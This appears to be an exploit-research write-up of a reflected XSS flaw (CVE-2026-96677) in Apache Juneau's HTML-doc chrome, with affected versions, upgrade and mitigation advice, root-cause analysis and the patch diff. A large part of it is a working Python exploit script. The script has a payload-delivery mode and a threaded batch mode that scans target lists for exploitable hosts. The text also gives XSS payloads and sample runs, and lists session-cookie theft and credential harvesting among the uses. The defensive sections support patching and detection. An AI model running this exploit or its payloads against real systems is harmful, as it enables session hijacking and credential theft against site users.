#Summary
CVE-2026-96677 is a reflected cross-site scripting (XSS) vulnerability in Apache Juneau's HTML document serializer. When an application configures HTML-doc chrome fields (header, nav, aside, footer) with Simple Variable Language (SVL) substitutions that reference request data, Juneau up to version 9.2.0 renders those substitutions without XML encoding, allowing attackers to inject arbitrary HTML and JavaScript. The vulnerability earns CVSS 10.0 CRITICAL but only affects applications that deliberately wire request variables into page chrome - the default configuration is safe.
#Am I affected?
- Affected: Apache Juneau (juneau-rest-server / juneau-marshall) versions through 9.2.0
- Patched: Apache Juneau 9.2.1 and later
- Default configuration: not affected (the default chrome uses no request variables)
- Access needed: unauthenticated network access; requires application to wire a request variable (query parameter, header, form data, or path variable) into HTML-doc chrome via
@HtmlDocConfigannotation - Trigger: requires the vulnerable app to expose an endpoint that uses chrome fields with SVL substitutions like
$RQ{q}(query),$RH{...}(header),$RF{...}(form data), or$RP{...}(path variable)
#How to check
Run this command against a target endpoint that uses Juneau HTML serialization:
python exploit.py --host target.example.com --port 8080 --path /endpoint --param parameter_nameThe result will indicate one of three outcomes:
| Output | Verdict |
|---|---|
SUCCESS - raw markup reflected unescaped |
Vulnerable (9.2.0 or earlier) |
FAILURE - reflected but XML-escaped |
Patched (9.2.1 or later) |
FAILURE - probe not reflected |
Not vulnerable or endpoint does not wire a request variable into chrome |
To identify vulnerable endpoints in your application, grep your code for @HtmlDocConfig annotations that reference SVL variables:
grep -r "@HtmlDocConfig.*\$R" src/Any endpoint with chrome fields containing $RQ, $RH, $RF, $RA, $R, $RP, or $SA followed by a request variable is a candidate.
#Fix and mitigation
Fix: Upgrade to Apache Juneau 9.2.1 or later. Update your Maven dependency:
<dependency> <groupId>org.apache.juneau</groupId> <artifactId>juneau-rest-server</artifactId> <version>9.2.1</version> </dependency>If you cannot upgrade: Remove request variables from
@HtmlDocConfigchrome fields. Replace dynamic content with static templates or sanitize request data before placing it into chrome:// Vulnerable (9.2.0): @HtmlDocConfig(aside="<h5>You searched for: $RQ{q}</h5>") // Safe (remove the request variable): @HtmlDocConfig(aside="<h5>Search Results</h5>")Detection: Monitor web server logs for requests containing HTML/JavaScript syntax in query parameters, headers, or form data sent to endpoints known to wire those values into chrome. Look for patterns like
?q=<script>,q=%3Cimg, or similar URL-encoded markup.
#Root cause analysis
#Vulnerable code path
Apache Juneau's HtmlDocSerializer wraps serialized data in a full HTML document structure called "chrome" - the header, nav, aside, footer, head, and no-results message. Applications configure these chrome fragments using the @HtmlDocConfig annotation with template strings that may contain SVL (Simple Variable Language) substitutions.
In BasicHtmlDocTemplate.java (juneau-rest-server 9.2.0), the aside method renders chrome like this:
protected void aside(HtmlDocSerializerSession session, HtmlWriter w, Object o) throws Exception {
var aside = session.getAside();
for (var i = 0; i < aside.length; i++)
w.sIf(i > 0).appendln(4, session.resolve(aside[i])); // raw, unescaped
}The session.resolve(...) method expands SVL variables. When the template contains $RQ{q} (request query parameter), the resolver substitutes the raw request value directly. The critical flaw: the substituted value is appended to the HTML stream with no XML or HTML encoding. Every chrome method (header, footer, nav, head, no-results) follows the same pattern.
#How input reaches the sink
Attack surface: Request data reaches the resolver through these SVL variables:
$RQ{name}- query-string parameters (e.g.,?q=<payload>)$RH{name}- HTTP request headers (e.g.,X-Custom-Header: <payload>)$RF{name}- form POST data (e.g., form field containing HTML)$RP{name}- URL path variables (e.g.,/path/{id}where id is user-controlled)
Template substitution: An application configures chrome with a template like:
@HtmlDocConfig(aside="<h5>You searched for: $RQ{q}</h5>")Unescaped reflection: When a request arrives with
GET /hello?q=<img src=x onerror=alert(1)>, the resolver:- Recognizes
$RQ{q}in the template - Looks up the request parameter
q - Retrieves the value:
<img src=x onerror=alert(1)> - Returns it verbatim with no encoding
- Recognizes
HTML output: The browser receives:
<aside> <h5>You searched for: <img src=x onerror=alert(1)></h5> </aside>
The <img> tag is parsed as a live element and the onerror script fires.
#Patch diff
#What the fix does
Apache Juneau 9.2.1 (commit 30b2ac0) XML-escapes the substituted value at the point of substitution, not the surrounding literal template. This preserves the intentional HTML structure (like <h5> wrapper) while neutralizing injected markup.
The fix introduces three layers of defense:
New resolver methods for chrome-specific encoding:
resolveHtmlDoc(...)- XML-escapes the substituted value (<becomes<, etc.)resolveScriptStyle(...)- refuses request-derived variables in script/style regions
Per-substitution escaping in
VarResolverSession.java:private static final Set<String> HTML_DOC_PASSTHROUGH_VARS = Set.of("W", "C", "RS"); private String encodeHtmlDocReplacement(String varName, String replacement) { if (! htmlDocEncode || replacement == null || isHtmlDocPassthrough(varName)) return replacement; return escapeXml(replacement); }Trusted variables like
$W(widgets),$C(config), and$RS(request-swagger) bypass escaping; request-derived variables are always escaped.Script/style protection - request variables are rejected entirely in
<script>and<style>regions, since HTML-escaping cannot protect JavaScript context.
#Before (9.2.0)
// aside chrome method
w.sIf(i > 0).appendln(4, session.resolve(aside[i]));
// Request: ?q=<img src=x onerror=alert(1)>
// Output: <h5>You searched for: <img src=x onerror=alert(1)></h5>#After (9.2.1)
// aside chrome method
w.sIf(i > 0).appendln(4, session.resolveHtmlDoc(aside[i]));
// Request: ?q=<img src=x onerror=alert(1)>
// Output: <h5>You searched for: <img src=x onerror=alert(1)></h5>#Proof of concept
#exploit.py - Apache Juneau Reflected XSS PoC
#!/usr/bin/env python3
# ==============================================================================
# ALIM | 1dayexploit.com -- independent CVE reproduction & exploit research
# CVE-2026-96677 full write-up & PoC: https://1dayexploit.com
# (c) 1dayexploit -- original work. Credit if you reuse. Authorized testing only.
# ==============================================================================
"""
CVE-2026-96677 -- Apache Juneau reflected XSS in HTML-doc chrome
Affected: Apache Juneau (juneau-rest-server / juneau-marshall) through 9.2.0
Fixed: 9.2.1
Type: Reflected Cross-Site Scripting (CWE-79)
Root cause:
Juneau's HtmlDocSerializer renders the page "chrome" (header, nav, aside,
footer, head, no-results message) from template strings that may contain SVL
variable substitutions such as $RQ{q} (request query), $RH{..} (header),
$RF{..} (form data) or $RP{..} (path var). Up to 9.2.0 the substituted value
was written into the HTML stream with no XML/HTML encoding, so attacker
controlled request data containing markup was reflected as live HTML. 9.2.1
XML-escapes the substituted value at the point of substitution.
Exploitability:
Only applications that deliberately wire a request variable into a chrome
field are affected (the default chrome uses none). The canonical vulnerable
configuration is, e.g.:
@HtmlDocConfig(aside="<h5>You searched for: $RQ{q}</h5>")
reached at some endpoint (default assumed here: GET /hello, query param "q").
Point --path / --param at whatever endpoint and variable the target wires in.
Detection:
The exploit sends a probe value containing characters that the fix MUST
escape ( < > & ) plus a per-run random marker, and inspects the HTML response:
- vulnerable (<=9.2.0): the raw, unescaped probe appears verbatim in the body
- patched (9.2.1) : the probe appears only in its XML-escaped (< ..) form
This raw-present / escaped-absent pair is an unambiguous discriminator.
Usage:
python exploit.py --host 127.0.0.1 --port 8080
python exploit.py --host http://target.example --path /hello --param q
python exploit.py --host https://target.example:8443/hello --param q
python exploit.py --host target --payload "<script>alert(document.domain)</script>"
python exploit.py --list targets.txt --workers 20
"""
import argparse
import secrets
import ssl
import sys
from urllib.parse import urlparse, quote
try:
import requests
from requests.packages.urllib3.exceptions import InsecureRequestWarning # type: ignore
requests.packages.urllib3.disable_warnings(InsecureRequestWarning) # type: ignore
_HAVE_REQUESTS = True
except Exception:
_HAVE_REQUESTS = False
import urllib.request
import urllib.error
CVE_ID = "CVE-2026-96677"
VULN_TYPE = "XSS (reflected)"
DEFAULT_PORT = 8080
DEFAULT_PATH = "/hello"
DEFAULT_PARAM = "q"
DEFAULT_PAYLOAD = "<img src=x onerror=alert(1)>"
TIMEOUT = 15
# --------------------------------------------------------------------------- #
# Output helpers (console only -- never crosses the wire)
# --------------------------------------------------------------------------- #
def header(host, port):
print("\n" + "=" * 60)
print(" ALIM EXPLOIT %s" % CVE_ID)
print(" Type: %s | Target: %s:%s" % (VULN_TYPE, host, port))
print("=" * 60 + "\n")
def step(n, msg):
print("[STEP %d] %s" % (n, msg))
def section(label, content):
print("\n--- %s ---" % label)
print(str(content).strip())
print("---\n")
def done(success, evidence):
print("\n" + "=" * 60)
print(" RESULT : %s" % ("SUCCESS" if success else "FAILURE"))
print(" EVIDENCE: %s" % evidence)
print("=" * 60 + "\n")
sys.exit(0 if success else 1)
# --------------------------------------------------------------------------- #
# Core
# --------------------------------------------------------------------------- #
def _xml_escape(s):
"""Mirror Juneau's escapeXml for the characters a chrome value can carry."""
return (s.replace("&", "&")
.replace("<", "<")
.replace(">", ">")
.replace('"', """)
.replace("'", "'"))
def _build_url(host, port, use_tls, path):
scheme = "https" if use_tls else "http"
if not path.startswith("/"):
path = "/" + path
return "%s://%s:%d%s" % (scheme, host, port, path)
def _http_get(url, headers, use_tls):
"""GET returning (status_code, body_text). Stdlib fallback when requests absent."""
if _HAVE_REQUESTS:
r = requests.get(url, headers=headers, timeout=TIMEOUT, verify=False,
allow_redirects=True)
return r.status_code, r.text
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
req = urllib.request.Request(url, headers=headers)
try:
resp = urllib.request.urlopen(req, timeout=TIMEOUT, context=ctx)
return resp.getcode(), resp.read().decode("utf-8", "replace")
except urllib.error.HTTPError as e:
return e.code, e.read().decode("utf-8", "replace")
def _probe(host, port, use_tls, path, param, value):
"""Send one GET with `value` reflected into the chrome. Returns (status, body)."""
url = _build_url(host, port, use_tls, path) + "?" + param + "=" + quote(value, safe="")
return _http_get(url, {"Accept": "text/html"}, use_tls)
def _classify(body, raw_probe):
"""
Decide vulnerable / patched / not-reflected from one response body.
Returns (verdict, detail) where verdict in {"vuln","patched","none"}.
"""
escaped_probe = _xml_escape(raw_probe)
if raw_probe in body:
return "vuln", raw_probe
if escaped_probe in body:
return "patched", escaped_probe
return "none", None
def _try_exploit(host, port, use_tls, path=DEFAULT_PATH, param=DEFAULT_PARAM, **kwargs):
"""Silent probe for --list scan mode. Returns (success, evidence). Never prints/exits."""
marker = secrets.token_hex(4)
# Probe carries every character the fix must neutralize: < > &
raw_probe = "<i%s>&<%s>" % (marker, marker)
try:
status, body = _probe(host, port, use_tls, path, param, raw_probe)
except Exception as e:
return False, "unreachable (%s)" % e.__class__.__name__
verdict, _ = _classify(body, raw_probe)
if verdict == "vuln":
return True, "reflected unescaped in chrome (raw '<i%s..>' present)" % marker[:4]
if verdict == "patched":
return False, "reflected but XML-escaped (patched / safe)"
return False, "probe not reflected (status %s; wrong path/param or not HTML chrome)" % status
def _extract_context(body, needle, pad=60):
idx = body.find(needle)
if idx < 0:
return None
start = max(0, idx - pad)
end = min(len(body), idx + len(needle) + pad)
return body[start:end]
def exploit(host, port, use_tls, path, param, payload):
header(host, port)
marker = secrets.token_hex(4)
raw_probe = "<i%s>&<%s>" % (marker, marker)
escaped_probe = _xml_escape(raw_probe)
step(1, "Sending detection probe into chrome variable '%s' at %s" % (param, path))
print(" probe value: %s (contains < > & -- all MUST be escaped by the fix)" % raw_probe)
try:
status, body = _probe(host, port, use_tls, path, param, raw_probe)
except Exception as e:
done(False, "request failed: %s: %s" % (e.__class__.__name__, e))
print(" HTTP %s, %d bytes" % (status, len(body)))
step(2, "Classifying reflection (raw-present vs XML-escaped)")
verdict, _ = _classify(body, raw_probe)
if verdict == "none":
ctx = _extract_context(body, escaped_probe)
section("SERVER RESPONSE (first 400 bytes)", body[:400])
done(False,
"probe not reflected at %s?%s=... -- target may not wire a request var "
"into chrome here, endpoint/param differ, or response was not HTML" % (path, param))
if verdict == "patched":
section("CHROME REGION (escaped)", _extract_context(body, escaped_probe) or escaped_probe)
done(False,
"value reflected but XML-escaped (%s) -- target is patched (Juneau >= 9.2.1)"
% escaped_probe)
# verdict == "vuln": raw markup present, escaped form absent
section("CHROME REGION (raw, unescaped reflection)", _extract_context(body, raw_probe))
print(" -> '<' and '>' are literal angle brackets; the browser parses injected markup as live elements.")
print(" -> escaped form '%s' is ABSENT, confirming no encoding is applied.\n" % escaped_probe)
step(3, "Delivering demonstration XSS payload")
print(" payload: %s" % payload)
try:
pstatus, pbody = _probe(host, port, use_tls, path, param, payload)
except Exception as e:
# Reflection already proven; report success on the probe alone.
done(True, "reflected XSS confirmed: raw markup '%s' injected unescaped into HTML chrome" % raw_probe)
if payload in pbody:
section("CHROME REGION (XSS payload reflected live)", _extract_context(pbody, payload))
done(True,
"reflected XSS confirmed -- payload '%s' reflected unescaped into HTML chrome; "
"executes in the victim's browser" % payload)
# Payload itself not byte-identical (e.g. server altered it) but marker proved the flaw.
done(True,
"reflected XSS confirmed -- raw markup probe '%s' reflected unescaped into HTML chrome "
"(escaped form absent)" % raw_probe)
# --------------------------------------------------------------------------- #
# Target parsing + scan mode
# --------------------------------------------------------------------------- #
def _parse_target(line, default_port, default_path="/"):
"""One target line -> (host, port, use_tls, path), or None to skip."""
line = line.strip()
if not line or line.startswith("#"):
return None
if line.startswith(("http://", "https://")):
p = urlparse(line)
tls = p.scheme == "https"
path = p.path if (p.path and p.path not in ("", "/")) else default_path
return p.hostname, p.port or (443 if tls else default_port), tls, path
if ":" in line:
parts = line.rsplit(":", 1)
try:
port = int(parts[1])
return parts[0], port, port in (443, 8443), default_path
except ValueError:
pass
return line, default_port, default_port in (443, 8443), default_path
def scan(targets_file, default_port, workers=10, path=DEFAULT_PATH, param=DEFAULT_PARAM):
import concurrent.futures
with open(targets_file) as f:
targets = [_parse_target(l, default_port, default_path=path) for l in f]
targets = [t for t in targets if t is not None]
print("\n" + "=" * 60)
print(" %s -- Batch Scan (%d targets, %d workers)" % (CVE_ID, len(targets), workers))
print("=" * 60 + "\n")
success_count = 0
def probe(t):
host, port, use_tls, tpath = t
label = "%s://%s:%d%s" % ("https" if use_tls else "http", host, port, tpath)
ok, evidence = _try_exploit(host, port, use_tls, path=tpath, param=param)
return label, ok, evidence
with concurrent.futures.ThreadPoolExecutor(max_workers=workers) as ex:
futures = {ex.submit(probe, t): t for t in targets}
for fut in concurrent.futures.as_completed(futures):
label, ok, evidence = fut.result()
print(" %s %s -- %s: %s" % (
"[+]" if ok else "[-]", label,
"Exploited" if ok else "Not vulnerable", evidence))
if ok:
success_count += 1
total = len(targets)
print("\n" + "=" * 60)
print(" SCAN COMPLETE %d exploited / %d not vulnerable (%d total)"
% (success_count, total - success_count, total))
print("=" * 60 + "\n")
sys.exit(0 if success_count > 0 else 1)
if __name__ == "__main__":
parser = argparse.ArgumentParser(description="%s exploit PoC" % CVE_ID)
target_grp = parser.add_mutually_exclusive_group(required=True)
target_grp.add_argument("--host", help="Target: hostname, IP, or full URL (e.g. https://host:8443/hello)")
target_grp.add_argument("--list", metavar="FILE", help="File with one target per line for batch scan")
parser.add_argument("--port", type=int, default=DEFAULT_PORT, help="Default port (default: %d)" % DEFAULT_PORT)
parser.add_argument("--path", default=DEFAULT_PATH, help="Endpoint that wires a request var into chrome (default: %s)" % DEFAULT_PATH)
parser.add_argument("--param", default=DEFAULT_PARAM, help="Query-parameter name reflected into chrome (default: %s)" % DEFAULT_PARAM)
parser.add_argument("--payload", default=DEFAULT_PAYLOAD, help="XSS payload to deliver (default: %s)" % DEFAULT_PAYLOAD)
parser.add_argument("--workers", type=int, default=10, help="Threads for --list mode (default: 10)")
tls_grp = parser.add_mutually_exclusive_group()
tls_grp.add_argument("--tls", action="store_true", help="Force TLS")
tls_grp.add_argument("--no-tls", action="store_true", help="Force plaintext")
args = parser.parse_args()
if args.list:
scan(args.list, default_port=args.port, workers=args.workers,
path=args.path, param=args.param)
else:
parsed = _parse_target(args.host, args.port, default_path=args.path)
host, port, use_tls, path = parsed if parsed else (args.host, args.port, False, args.path)
# An explicit --path always wins over a path embedded in --host.
if args.path != DEFAULT_PATH:
path = args.path
if args.tls:
use_tls = True
if args.no_tls:
use_tls = False
exploit(host, port, use_tls, path, args.param, args.payload)#Usage
Single target with default settings:
python exploit.py --host target.example.com --port 8080 --path /hello --param qCustom endpoint and parameter:
python exploit.py --host http://target.example.com --path /search --param term --payload "<script>alert(document.domain)</script>"Batch scan from a target list:
python exploit.py --list targets.txt --path /hello --param q --workers 20#Expected output - vulnerable (9.2.0):
[STEP 1] Sending detection probe into chrome variable 'q' at /hello
probe value: <i0123dd37>&<0123dd37> (contains < > & -- all MUST be escaped by the fix)
HTTP 200, 471 bytes
[STEP 2] Classifying reflection (raw-present vs XML-escaped)
--- CHROME REGION (raw, unescaped reflection) ---
...<aside><h5>You searched for: <i0123dd37>&<0123dd37></h5></aside>...
---
[STEP 3] Delivering demonstration XSS payload
payload: <img src=x onerror=alert(1)>
--- CHROME REGION (XSS payload reflected live) ---
...<aside><h5>You searched for: <img src=x onerror=alert(1)></h5></aside>...
---
RESULT : SUCCESS
EVIDENCE: reflected XSS confirmed -- payload '<img src=x onerror=alert(1)>' reflected unescaped into HTML chrome; executes in the victim's browser#Expected output - patched (9.2.1):
[STEP 1] Sending detection probe into chrome variable 'q' at /hello
probe value: <ibc3b3888>&<bc3b3888>
HTTP 200, 487 bytes
[STEP 2] Classifying reflection (raw-present vs XML-escaped)
--- CHROME REGION (escaped) ---
...<aside><h5>You searched for: <ibc3b3888>&<bc3b3888></h5></aside>...
---
RESULT : FAILURE
EVIDENCE: value reflected but XML-escaped (<ibc3b3888>&<bc3b3888>) -- target is patched (Juneau >= 9.2.1)#Exploitation notes
Preconditions: The target application must use Apache Juneau's
HtmlDocSerializer(default for REST endpoints) and configure at least one HTML-doc chrome field with an SVL variable that references request data. Stock Juneau apps are not vulnerable - only those deliberately exposing request data in chrome.Reliability: The exploit is deterministic. It uses a random marker to avoid false positives and explicitly checks for the presence of the escaped form to rule out coincidental matches. Both vulnerable and patched targets behave predictably and consistently.
Impact: Successful exploitation grants the attacker arbitrary JavaScript execution in the victim's browser in the context of the application. This enables:
- Session hijacking via cookie theft
- Credential harvesting via fake login forms
- Malware injection and redirection
- Defacement and privilege escalation within the authenticated session
- CSRF attacks on authenticated actions
Chaining potential: The vulnerability is endpoint-specific and depends on the application's configuration. Multiple vulnerable endpoints can be exploited separately. Once JavaScript executes, standard web application attacks apply (API CSRF, DOM manipulation, data exfiltration).
#References
- CVE: CVE-2026-96677
- GitHub advisory: GHSA-c66v-m2x5-fxxr
- Fix commit: apache/juneau@30b2ac0
- NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-96677
- Apache Juneau repository: https://github.com/apache/juneau
- Disclosure date: 2026-11-05
